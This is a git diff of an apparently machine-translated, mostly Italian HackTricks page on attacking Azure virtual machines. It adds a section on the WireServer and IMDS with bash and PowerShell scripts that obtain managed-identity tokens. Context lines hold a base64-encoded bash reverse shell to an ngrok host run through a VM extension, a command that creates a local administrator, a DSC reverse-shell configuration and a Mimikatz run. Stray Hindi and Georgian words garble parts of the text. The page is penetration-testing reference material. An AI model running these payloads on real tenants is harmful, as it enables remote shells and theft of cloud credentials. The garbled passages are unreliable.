diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md index 2968b603e..51f325b61 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/README.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md @@ -1,57 +1,57 @@ -# Az - Macchine Virtuali e Rete +# Az - Virtual Machines & Network {{#include ../../../../banners/hacktricks-training.md}} -## Informazioni di Base sulla Rete di Azure +## Azure Networking Basic Info -Le reti di Azure contengono **diverse entità e modi per configurarle.** Puoi trovare una breve **descrizione,** **esempi** e comandi di **enumerazione** delle diverse entità di rete di Azure in: +Azure networks contiene **diverse entità e modi per configurarlo.** Puoi trovare una breve **descrizione,** **esempi** e comandi di **enumeration** delle diverse entità di rete Azure in: {{#ref}} az-azure-network.md {{#endref}} -## Informazioni di Base sulle VM +## VMs Basic information -Le Macchine Virtuali (VM) di Azure sono server **basati su cloud flessibili e on-demand che ti permettono di eseguire sistemi operativi Windows o Linux**. Ti consentono di distribuire applicazioni e carichi di lavoro senza gestire hardware fisico. Le VM di Azure possono essere configurate con varie opzioni di CPU, memoria e archiviazione per soddisfare esigenze specifiche e integrarsi con servizi Azure come reti virtuali, archiviazione e strumenti di sicurezza. +Le Azure Virtual Machines (VMs) sono server flessibili, on-demand basati su cloud che ti consentono di eseguire sistemi operativi Windows o Linux. Permettono di distribuire applicazioni e workload senza gestire hardware fisico. Le Azure VMs possono essere configurate con varie opzioni di CPU, memoria e storage per soddisfare esigenze specifiche e integrarsi con servizi Azure come virtual networks, storage e strumenti di sicurezza. -### Configurazioni di Sicurezza +### Security Configurations -- **Zone di Disponibilità**: Le zone di disponibilità sono gruppi distinti di data center all'interno di una specifica regione di Azure che sono fisicamente separati per ridurre al minimo il rischio che più zone siano colpite da interruzioni locali o disastri. -- **Tipo di Sicurezza**: -- **Sicurezza Standard**: Questo è il tipo di sicurezza predefinito che non richiede alcuna configurazione specifica. -- **Avvio Fidato**: Questo tipo di sicurezza migliora la protezione contro boot kit e malware a livello di kernel utilizzando Secure Boot e Virtual Trusted Platform Module (vTPM). -- **VM Riservate**: Oltre a un avvio fidato, offre isolamento basato su hardware tra la VM, l'ipervisore e la gestione dell'host, migliora la crittografia del disco e [**altro**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.** -- **Autenticazione**: Per impostazione predefinita, viene generata una nuova **chiave SSH**, anche se è possibile utilizzare una chiave pubblica o utilizzare una chiave precedente e il nome utente per impostazione predefinita è **azureuser**. È anche possibile configurare l'uso di una **password.** -- **Crittografia del disco VM:** Il disco è crittografato a riposo per impostazione predefinita utilizzando una chiave gestita dalla piattaforma. -- È anche possibile abilitare la **Crittografia all'host**, dove i dati verranno crittografati nell'host prima di essere inviati al servizio di archiviazione, garantendo una crittografia end-to-end tra l'host e il servizio di archiviazione ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)). -- **Gruppo di sicurezza di rete NIC**: -- **Nessuno**: Apre fondamentalmente tutte le porte -- **Base**: Consente di aprire facilmente le porte in entrata HTTP (80), HTTPS (443), SSH (22), RDP (3389) -- **Avanzato**: Seleziona un gruppo di sicurezza -- **Backup**: È possibile abilitare il backup **Standard** (una volta al giorno) e **Potenziato** (più volte al giorno) -- **Opzioni di orchestrazione delle patch**: Questo consente di applicare automaticamente le patch nelle VM secondo la politica selezionata come descritto nei [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching). -- **Avvisi**: È possibile ricevere automaticamente avvisi via email o app mobile quando accade qualcosa nella VM. Regole predefinite: -- Percentuale CPU superiore all'80% -- Byte di Memoria Disponibile inferiori a 1GB -- Percentuale IOPS Dischi Dati Consumato superiore al 95% -- Percentuale IOPS OS Consumato superiore al 95% -- Rete in Totale superiore a 500GB -- Rete Out Totale superiore a 200GB -- VmAvailabilityMetric inferiore a 1 -- **Monitor di Salute**: Per impostazione predefinita controlla il protocollo HTTP sulla porta 80 -- **Blocchi**: Consente di bloccare una VM in modo che possa essere solo letta (**Blocco di sola lettura**) o possa essere letta e aggiornata ma non eliminata (**Blocco Non Eliminabile**). -- La maggior parte delle risorse relative alle VM **supporta anche i blocchi** come dischi, snapshot... -- I blocchi possono essere applicati anche a **livelli di gruppo di risorse e abbonamento** +- **Availability Zones**: Le availability zones sono gruppi distinti di datacenter all'interno di una specifica Azure region, fisicamente separati per ridurre al minimo il rischio che più zone siano प्रभावित da outage o disastri locali. +- **Security Type**: +- **Standard Security**: Questo è il tipo di security predefinito che non richiede alcuna configurazione specifica. +- **Trusted Launch**: Questo tipo di security migliora la protezione contro boot kits e malware a livello di kernel usando Secure Boot e Virtual Trusted Platform Module (vTPM). +- **Confidential VMs**: Oltre a trusted launch, offre isolamento basato su hardware tra la VM, l'hypervisor e la gestione dell'host, migliora la disk encryption e [**more**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.** +- **Authentication**: Per impostazione predefinita viene generata una nuova **SSH key**, anche se è possibile usare una public key o usare una key precedente e il username predefinito è **azureuser**. È anche possibile configurare l'uso di una **password.** +- **VM disk encryption:** Il disk è encrypted at rest per impostazione predefinita usando una platform managed key. +- È anche possibile abilitare **Encryption at host**, dove i dati saranno encrypted nell'host prima di essere inviati al storage service, garantendo una end-to-end encryption tra l'host e lo storage service ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)). +- **NIC network security group**: +- **None**: In pratica apre ogni port +- **Basic**: Permette di aprire facilmente i inbound port HTTP (80), HTTPS (443), SSH (22), RDP (3389) +- **Advanced**: Seleziona un security group +- **Backup**: È possibile abilitare backup **Standard** (uno al giorno) e **Enhanced** (più volte al giorno) +- **Patch orchestration options**: Permette di applicare automaticamente le patch nelle VMs in base alla policy selezionata come descritto nei [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching). +- **Alerts**: È possibile ricevere automaticamente alert via email o mobile app quando succede qualcosa nella VM. Regole predefinite: +- Percentage CPU is greater than 80% +- Available Memory Bytes is less than 1GB +- Data Disks IOPS Consumed Percentage is greater than 95% +- OS IOPS Consumed Percentage is greater than 95% +- Network in Total is greater than 500GB +- Network Out Total is greater than 200GB +- VmAvailabilityMetric is less than 1 +- **Heath monitor**: Per impostazione predefinita controlla il protocollo HTTP sulla port 80 +- **Locks**: Consente di bloccare una VM in modo che possa essere solo letta (**ReadOnly** lock) oppure letta e aggiornata ma non eliminata (**CanNotDelete** lock). +- La maggior parte delle risorse correlate alle VM **supporta anche locks** come disks, snapshots... +- I locks possono anche essere applicati a livello di **resource group** e **subscription** -## Dischi e snapshot +## Disks & snapshots -- È possibile **abilitare l'attacco di un disco a 2 o più VM** -- Per impostazione predefinita, ogni disco è **crittografato** con una chiave della piattaforma. -- Stesso discorso per gli snapshot -- Per impostazione predefinita, è possibile **condividere il disco da tutte le reti**, ma può anche essere **ristretto** solo a determinati **accessi privati** o **disabilitare completamente** l'accesso pubblico e privato. -- Stesso discorso per gli snapshot -- È possibile **generare un URI SAS** (di max 60 giorni) per **esportare il disco**, che può essere configurato per richiedere autenticazione o meno -- Stesso discorso per gli snapshot +- È possibile **abilitare l'attachment di un disk a 2 o più VMs** +- Per impostazione predefinita ogni disk è **encrypted** con una platform key. +- Anche negli snapshots +- Per impostazione predefinita è possibile **condividere il disk da tutte le networks**, ma può anche essere **restricted** a solo un certo **private access** oppure **disabilitare completamente** l'accesso pubblico e privato. +- Anche negli snapshots +- È possibile **generare una SAS URI** (di massimo 60 giorni) per **exportare il disk**, che può essere configurata per richiedere autenticazione o meno +- Anche negli snapshots {{#tabs}} {{#tab name="az cli"}} @@ -74,12 +74,12 @@ Get-AzDisk -Name -ResourceGroupName {{#endtab}} {{#endtabs}} -## Immagini, Immagini della Galleria e Punti di Ripristino +## Immagini, Immagini della gallery & Restore points -Un **VM image** è un modello che contiene il sistema operativo, le impostazioni dell'applicazione e il filesystem necessari per **creare una nuova macchina virtuale (VM)**. La differenza tra un'immagine e uno snapshot del disco è che uno snapshot del disco è una copia in sola lettura, a un determinato momento, di un singolo disco gestito, utilizzato principalmente per backup o risoluzione dei problemi, mentre un'immagine può contenere **più dischi ed è progettata per servire come modello per la creazione di nuove VM**.\ -Le immagini possono essere gestite nella **sezione Immagini** di Azure o all'interno delle **gallerie di calcolo di Azure**, che consentono di generare **versioni** e **condividere** l'immagine tra tenant o addirittura renderla pubblica. +Una **VM image** è un template che contiene il sistema operativo, le impostazioni dell'application e il filesystem necessari per **creare una nuova virtual machine (VM)**. La differenza tra un image e uno disk snapshot è che un disk snapshot è una copia read-only, point-in-time di un singolo managed disk, usata principalmente per backup o troubleshooting, mentre un image può contenere **multiple disks ed è progettata per servire come template per creare nuove VM**.\ +Le immagini possono essere gestite nella **Images section** di Azure o all'interno di **Azure compute galleries**, che consentono di generare **versions** e **share** l'image cross-tenant o persino renderla pubblica. -Un **punto di ripristino** memorizza la configurazione della VM e **snapshot** dell'applicazione **coerenti nel tempo** di tutti i dischi gestiti collegati alla VM. È correlato alla VM e il suo scopo è quello di poter ripristinare quella VM a come era in quel specifico momento. +Un **restore point** memorizza la configurazione della VM e **point-in-time** application-consistent **snapshots di tutti i managed disks** collegati alla VM. È legato alla VM e il suo scopo è poter ripristinare quella VM a com'era in quel preciso punto nel tempo. {{#tabs}} {{#tab name="az cli"}} @@ -144,15 +144,15 @@ Get-AzRestorePointCollection -Name -ResourceGroupName -ResourceGroupName {{#endtab }} {{#endtabs }} -## Esecuzione di Codice nelle VM +## Code Execution in VMs -### Estensioni VM +### VM Extensions -Le estensioni VM di Azure sono piccole applicazioni che forniscono **configurazione post-deployment** e compiti di automazione sulle macchine virtuali (VM) di Azure. +Le Azure VM extensions sono piccole applicazioni che forniscono **post-deployment configuration** e task di automazione sulle Azure virtual machines (VMs). -Questo permetterebbe di **eseguire codice arbitrario all'interno delle VM**. +This would allow to **execute arbitrary code inside VMs**. -Il permesso richiesto è **`Microsoft.Compute/virtualMachines/extensions/write`**. +The required permission is **`Microsoft.Compute/virtualMachines/extensions/write`**. -È possibile elencare tutte le estensioni disponibili con: +It's possible to list all the available extensions with: {{#tabs }} {{#tab name="Az Cli" }} @@ -465,12 +467,12 @@ Get-AzVMExtensionImage -Location -PublisherName -Type {{#endtab }} {{#endtabs }} -È possibile **eseguire estensioni personalizzate che eseguono codice personalizzato**: +È possibile **eseguire custom extensions che eseguono custom code**: {{#tabs }} {{#tab name="Linux" }} -- Eseguire una shell inversa +- Eseguire una revers shell ```bash # Prepare the rev shell echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64 @@ -486,7 +488,7 @@ az vm extension set \ --settings '{}' \ --protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}' ``` -- Esegui uno script situato su Internet +- Esegui uno script situato su internet ```bash az vm extension set \ --resource-group rsc-group> \ @@ -530,7 +532,7 @@ az vm extension set \ ``` Potresti anche eseguire altri payload come: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` -- Reimposta la password utilizzando l'estensione VMAccess +- Reimposta la password usando l'estensione VMAccess ```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password @@ -559,7 +561,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na DesiredStateConfiguration (DSC) -Questa è un **estensione VM** che appartiene a Microsoft e utilizza PowerShell DSC per gestire la configurazione delle VM Windows di Azure. Pertanto, può essere utilizzata per **eseguire comandi arbitrari** nelle VM Windows tramite questa estensione: +Questa è una **VM extension** che appartiene a Microsoft e usa PowerShell DSC per gestire la configurazione delle Azure Windows VMs. Pertanto, può essere usata per **eseguire comandi arbitrari** nelle Windows VMs tramite questa extension: ```bash # Content of revShell.ps1 Configuration RevShellConfig { @@ -611,21 +613,21 @@ Set-AzVMDscExtension ` Hybrid Runbook Worker -Questa è un'estensione VM che consente di eseguire runbook in VM da un account di automazione. Per ulteriori informazioni, controlla il [servizio Automation Accounts](../az-automation-account/index.html). +Questa è un'estensione della VM che consente di eseguire runbooks nelle VM da un automation account. Per ulteriori informazioni, consulta il [Automation Accounts service](../az-automation-account/index.html). ### VM Applications -Questi sono pacchetti con tutti i **dati dell'applicazione e script di installazione e disinstallazione** che possono essere utilizzati per aggiungere e rimuovere facilmente applicazioni nelle VM. +Questi sono pacchetti con tutti i **dati dell'applicazione e gli script di installazione e disinstallazione** che possono essere usati per aggiungere e rimuovere facilmente applicazioni nelle VM. ```bash # List all galleries in resource group az sig list --resource-group --output table -# List all apps in a fallery +# List all apps in a gallery az sig gallery-application list --gallery-name --resource-group --output table ``` -Questi sono i percorsi in cui le applicazioni vengono scaricate all'interno del file system: +Questi sono i path in cui le applicazioni vengono scaricate all'interno del file system: - Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux//` - Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\\` @@ -633,11 +635,11 @@ Questi sono i percorsi in cui le applicazioni vengono scaricate all'interno del Controlla come installare nuove applicazioni in [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) > [!CAUTION] -> È possibile **condividere singole app e gallerie con altre sottoscrizioni o tenant**. Questo è molto interessante perché potrebbe consentire a un attaccante di inserire un backdoor in un'applicazione e passare ad altre sottoscrizioni e tenant. +> È possibile **share applicazioni singole e galleries con altre subscriptions o tenants**. Questo è molto interessante perché potrebbe permettere a un attacker di backdoor un'applicazione e fare pivot verso altre subscriptions e tenants. -Ma non **c'è un "marketplace" per le app vm** come c'è per le estensioni. +Ma **non esiste un "marketplace" per le vm apps** come invece c'è per le extensions. -I permessi richiesti sono: +I permissions richiesti sono: - `Microsoft.Compute/galleries/applications/write` - `Microsoft.Compute/galleries/applications/versions/write` @@ -645,7 +647,7 @@ I permessi richiesti sono: - `Microsoft.Network/networkInterfaces/join/action` - `Microsoft.Compute/disks/write` -Esempio di sfruttamento per eseguire comandi arbitrari: +Esempio di exploitation per eseguire comandi arbitrari: {{#tabs }} {{#tab name="Linux" }} @@ -729,25 +731,25 @@ az vm application set \ ### Dati utente -Questi sono **dati persistenti** che possono essere recuperati dall'endpoint dei metadati in qualsiasi momento. Nota che in Azure i dati utente sono diversi da AWS e GCP perché **se posizioni uno script qui, non viene eseguito per impostazione predefinita**. +Questi sono **dati persistenti** che possono essere recuperati dall'endpoint dei metadata in ნებისმque momento. Nota che in Azure i dati utente sono diversi da AWS e GCP perché **se inserisci uno script qui non viene eseguito per impostazione predefinita**. ### Dati personalizzati -È possibile passare alcuni dati alla VM che saranno memorizzati nei percorsi previsti: +È possibile passare alcuni dati alla VM che verranno memorizzati nei percorsi previsti: -- In **Windows**, i dati personalizzati sono collocati in `%SYSTEMDRIVE%\AzureData\CustomData.bin` come file binario e non vengono elaborati. -- In **Linux**, erano memorizzati in `/var/lib/waagent/ovf-env.xml` e ora sono memorizzati in `/var/lib/waagent/CustomData/ovf-env.xml` -- **Agente Linux**: Non elabora i dati personalizzati per impostazione predefinita, è necessaria un'immagine personalizzata con i dati abilitati -- **cloud-init:** Per impostazione predefinita elabora i dati personalizzati e questi dati possono essere in [**diversi formati**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Potrebbe eseguire uno script facilmente inviando semplicemente lo script nei dati personalizzati. -- Ho provato che sia Ubuntu che Debian eseguono lo script che metti qui. +- In **Windows** i dati personalizzati vengono posizionati in `%SYSTEMDRIVE%\AzureData\CustomData.bin` come file binario e non vengono elaborati. +- In **Linux** venivano memorizzati in `/var/lib/waagent/ovf-env.xml` e ora vengono memorizzati in `/var/lib/waagent/CustomData/ovf-env.xml` +- **Linux agent**: non elabora i dati personalizzati per impostazione predefinita, è necessaria un'immagine custom con i dati abilitati +- **cloud-init:** per impostazione predefinita elabora i dati personalizzati e questi dati possono essere in [**diversi formati**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Potrebbe eseguire facilmente uno script inviando solo lo script nei dati personalizzati. +- Ho verificato che sia Ubuntu che Debian eseguono lo script che inserisci qui. - Non è nemmeno necessario abilitare i dati utente affinché questo venga eseguito. ```bash #!/bin/sh echo "Hello World" > /var/tmp/output.txt ``` -### **Esegui Comando** +### **Run Command** -Questo è il meccanismo più basilare che Azure fornisce per **eseguire comandi arbitrari nelle VM**. Il permesso necessario è `Microsoft.Compute/virtualMachines/runCommand/action`. +Questo è il meccanismo più basilare che Azure fornisce per **eseguire comandi arbitrari nelle VM**. Il permesso richiesto è `Microsoft.Compute/virtualMachines/runCommand/action`. {{#tabs }} {{#tab name="Linux" }} @@ -792,34 +794,255 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt {{#endtab }} {{#endtabs }} -## Escalation dei privilegi +## Azure WireServer & GoalState + +Le Azure VM espongono **internal platform endpoints** che vengono usati per la configurazione, il recupero dei metadata e la gestione dell'identità. Capire la differenza tra questi è fondamentale per **enumeration, privilege escalation e post-exploitation**. + +### Wire Server (Azure Fabric Endpoint) + +L'**Azure WireServer** è un IP interno di Azure (`168.63.129.16`) usato dalla piattaforma per comunicare con la VM. + +È responsabile di: + +- Comunicazione con il **VM Agent** +- Distribuzione di: +- **GoalState** +- **ExtensionsConfig** +- Configurazione interna della VM (incluse le identità) +- Servizi DHCP & DNS +- Monitoraggio dello stato di salute + +### GoalState & ExtensionsConfig + +Il **GoalState** rappresenta la **configurazione desiderata della VM** così come definita da Azure. Può includere: + +- Configurazione delle extension +- Managed identities +- Stato di provisioning +- Istruzioni per l'agent + +L'**ExtensionsConfig** contiene la configurazione dettagliata delle VM extension e può includere: + +- **User Assigned Managed Identities** +- Impostazioni delle extension +- Secrets (a seconda dell'extension) + +Questi endpoint sono tipicamente accessibili tramite: +```bash +curl -H "x-ms-version: 2012-11-30" http://168.63.129.16/machine?comp=goalstate +``` +### Considerazioni sull'accesso + +L'IP WireServer è generalmente raggiungibile dall'interno della VM tramite lo stack di rete guest. Non è limitato solo ad Azure VM Agent, Run Command o alle VM extensions. Microsoft documenta persino esempi di provisioning Linux agentless in cui normali script in-guest interrogano direttamente GoalState da `168.63.129.16`. + +Tuttavia, non ogni processo otterrà necessariamente lo stesso risultato pratico: + +- Alcuni endpoint richiedono header specifici per Azure, come `x-ms-version: 2012-11-30` per GoalState. +- I controlli locali del guest possono bloccare o alterare l'accesso, incluse regole del firewall dell'host, proxy, route, network namespace, container o endpoint protection. +- VM extensions e Run Command in genere vengono eseguiti come `root`/`SYSTEM` tramite il VM Agent, quindi possono aggirare restrizioni locali del sistema operativo che colpiscono un utente interattivo. +- Alcuni dati sono specifici di agent/extension e possono dipendere dallo stato di provisioning della VM, dall'agent installato, dalle extensions configurate o dalla configurazione di managed identity. + +Quindi, se una richiesta funziona da Run Command ma fallisce da SSH, la spiegazione abituale è una differenza nell'utente OS, nell'ambiente, nel routing, nel proxy, nel firewall o nel namespace, non una regola generale di Azure secondo cui solo i contesti di esecuzione dell'agent possono raggiungere `168.63.129.16`. + +Nei test di laboratorio questa distinzione era visibile: l'esecuzione Linux/Windows VM Agent tramite Run Command o Custom Script extensions poteva raggiungere GoalState su `168.63.129.16`, mentre una normale sessione SSH su un'altra VM Linux poteva ancora raggiungere IMDS ma andava in timeout quando interrogava GoalState. Considera WireServer/GoalState utile ma dipendente dall'ambiente; non fare affidamento su di esso come metodo canonico per enumerare le managed identities. + +### Accesso alle Managed Identity dall'interno della VM + +Il modo affidabile per usare le managed identities di una VM è l'**IMDS managed identity endpoint** su `169.254.169.254`, non il XML `ExtensionsConfig` di WireServer. Gli script che cercano solo nodi `UserAssignedIdentity` in `ExtensionsConfig` non sono affidabili perché: + +- L'assegnazione della managed identity della VM non è garantito che sia rappresentata come nodi `UserAssignedIdentity` nel XML delle extension. +- Non trovano le **system-assigned managed identities**. +- Individuano le user-assigned identities solo se il corrente GoalState/dati delle extension espone per caso la forma XML attesa. + +Il modello di sicurezza documentato da Microsoft è che **tutto il codice in esecuzione sulla VM può richiedere token per le managed identities disponibili su quella VM**. Questo è stato confermato da: + +- Linux SSH come normale utente della VM. +- Linux Run Command tramite il VM Agent. +- Linux Custom Script extension tramite il VM Agent. +- Windows Custom Script extension come `NT AUTHORITY\SYSTEM`. + +In tutti questi contesti, IMDS poteva generare token per Management, Microsoft Graph/Entra ID, Key Vault e Storage quando l'identità richiesta era disponibile per la VM. + +Ci sono due problemi diversi che è facile confondere: + +- **Ottenere un token per un'identità nota:** Se l'identità è assegnata alla VM, IMDS può emettere token per audience diverse come `https://management.azure.com/`, `https://graph.microsoft.com/`, `https://vault.azure.net` e `https://storage.azure.com/`. Se esistono più user-assigned identities, richiedine una specifica con `client_id`, `object_id` o `msi_res_id`. +- **Scoprire ogni identità collegata dall'interno della VM:** IMDS non fornisce un semplice endpoint "lista tutte le identity". Un metodo pratico è ottenere un token Management di default, leggere la risorsa VM tramite ARM e ispezionare la proprietà `identity`. Questo funziona solo se quella managed identity ha permessi come `Microsoft.Compute/virtualMachines/read` sulla VM. Se ARM restituisce `403`, il token può comunque essere valido e utile, ma non può enumerare l'intera lista delle identity della VM. + +Se la discovery via ARM fallisce, puoi comunque provare sorgenti WireServer/HostGAPlugin come GoalState e `http://168.63.129.16:32526/vmSettings` per cercare campi che sembrano identity (`clientId`, `IdentityClientId`, `msi_res_id`, resource ID di user-assigned identity) e poi chiedere a IMDS token con quei selector. Questo è un fallback, non una garanzia: quegli endpoint dipendono dal contesto e potrebbero non esporre affatto selector di managed identity. + +Gli esempi seguenti richiedono prima un token. Poi provano a leggere la risorsa VM da Azure Resource Manager e a stamparne la proprietà `identity`. Il secondo passaggio funziona solo se la managed identity ha permessi come `Microsoft.Compute/virtualMachines/read` sulla VM. + +{{#tabs }} +{{#tab name="Linux" }} +```bash +#!/usr/bin/env bash +set -euo pipefail + +imds="http://169.254.169.254/metadata" +api_version="2021-02-01" +resource="${1:-https://management.azure.com/}" + +# Optional. Examples: +# export MSI_SELECTOR='client_id=' +# export MSI_SELECTOR='object_id=' +# export MSI_SELECTOR='msi_res_id=/subscriptions/.../userAssignedIdentities/name' +selector="${MSI_SELECTOR:-}" + +urlencode() { +python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' "$1" +} + +token_url="$imds/identity/oauth2/token?api-version=$api_version&resource=$(urlencode "$resource")" +if [[ -n "$selector" ]]; then +token_url="$token_url&$selector" +fi + +echo "[*] Requesting managed identity token for: $resource" +token_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$token_url")" + +access_token="$( +TOKEN_JSON="$token_json" python3 - <<'PY' +import json, os +print(json.loads(os.environ["TOKEN_JSON"])["access_token"]) +PY +)" + +TOKEN="$access_token" python3 - <<'PY' +import base64, json, os + +token = os.environ["TOKEN"] +payload = token.split(".")[1] +payload += "=" * (-len(payload) % 4) +claims = json.loads(base64.urlsafe_b64decode(payload)) + +print("[+] Token acquired") +for key in ("tid", "appid", "oid", "xms_mirid"): +if key in claims: +print(f" {key}: {claims[key]}") +PY + +echo "[*] Trying to read the VM identity property through ARM..." +compute_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$imds/instance/compute?api-version=$api_version")" +vm_id="$( +COMPUTE_JSON="$compute_json" python3 - <<'PY' +import json, os +print(json.loads(os.environ["COMPUTE_JSON"])["resourceId"]) +PY +)" + +arm_url="https://management.azure.com${vm_id}?api-version=2024-07-01" +if vm_json="$(curl -fsS -H "Authorization: Bearer $access_token" "$arm_url" 2>/dev/null)"; then +VM_JSON="$vm_json" python3 - <<'PY' +import json, os +vm = json.loads(os.environ["VM_JSON"]) +print(json.dumps(vm.get("identity", {}), indent=2)) +PY +else +echo "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM." +fi +``` +{{#endtab }} + +{{#tab name="Windows" }} +```powershell +$imds = "http://169.254.169.254/metadata" +$apiVersion = "2021-02-01" +$resource = "https://management.azure.com/" + +# Optional. Examples: +# $env:MSI_SELECTOR = "client_id=" +# $env:MSI_SELECTOR = "object_id=" +# $env:MSI_SELECTOR = "msi_res_id=/subscriptions/.../userAssignedIdentities/name" +$selector = $env:MSI_SELECTOR + +function Invoke-Imds { +param([string]$Uri) + +$params = @{ +Method = "GET" +Uri = $Uri +Headers = @{ Metadata = "true" } +UseBasicParsing = $true +} +if ((Get-Command Invoke-RestMethod).Parameters.ContainsKey("NoProxy")) { +$params.NoProxy = $true +} +Invoke-RestMethod @params +} + +function Decode-JwtPayload { +param([string]$Token) + +$payload = $Token.Split(".")[1].Replace("-", "+").Replace("_", "/") +switch ($payload.Length % 4) { +2 { $payload += "==" } +3 { $payload += "=" } +} +[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)) | ConvertFrom-Json +} + +$encodedResource = [uri]::EscapeDataString($resource) +$tokenUri = "$imds/identity/oauth2/token?api-version=$apiVersion&resource=$encodedResource" +if ($selector) { +$tokenUri = "$tokenUri&$selector" +} + +Write-Host "[*] Requesting managed identity token for: $resource" +$tokenResponse = Invoke-Imds -Uri $tokenUri +$claims = Decode-JwtPayload -Token $tokenResponse.access_token + +Write-Host "[+] Token acquired" +$claims | Select-Object tid, appid, oid, xms_mirid | Format-List + +Write-Host "[*] Trying to read the VM identity property through ARM..." +$compute = Invoke-Imds -Uri "$imds/instance/compute?api-version=$apiVersion" +$armUri = "https://management.azure.com$($compute.resourceId)?api-version=2024-07-01" + +try { +$vm = Invoke-RestMethod -Method GET -Uri $armUri -Headers @{ Authorization = "Bearer $($tokenResponse.access_token)" } -UseBasicParsing +$vm.identity | ConvertTo-Json -Depth 20 +} catch { +Write-Host "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM." +} +``` +{{#endtab }} +{{#endtabs }} + + +## Privilege Escalation {{#ref}} ../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md {{#endref}} -## Accesso non autenticato +## Unauthenticated Access {{#ref}} ../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md {{#endref}} -## Post sfruttamento +## Post Exploitation {{#ref}} ../../az-post-exploitation/az-vms-and-network-post-exploitation.md {{#endref}} -## Persistenza +## Persistence {{#ref}} ../../az-persistence/az-vms-persistence.md {{#endref}} -## Riferimenti +## References - [https://learn.microsoft.com/en-us/azure/virtual-machines/overview](https://learn.microsoft.com/en-us/azure/virtual-machines/overview) - [https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/](https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/) - [https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service](https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service) +- [https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token) +- [https://learn.microsoft.com/en-us/azure/virtual-network/what-is-ip-address-168-63-129-16](https://learn.microsoft.com/en-us/azure/virtual-network/what-is-ip-address-168-63-129-16) +- [https://learn.microsoft.com/en-us/azure/virtual-machines/linux/no-agent](https://learn.microsoft.com/en-us/azure/virtual-machines/linux/no-agent) +- [https://learn.microsoft.com/en-us/azure/virtual-machines/run-command](https://learn.microsoft.com/en-us/azure/virtual-machines/run-command) +- [https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/agent-linux](https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/agent-linux) +- [https://www.cybercx.com.au/blog/azure-ssrf-metadata/](https://www.cybercx.com.au/blog/azure-ssrf-metadata/) {{#include ../../../../banners/hacktricks-training.md}}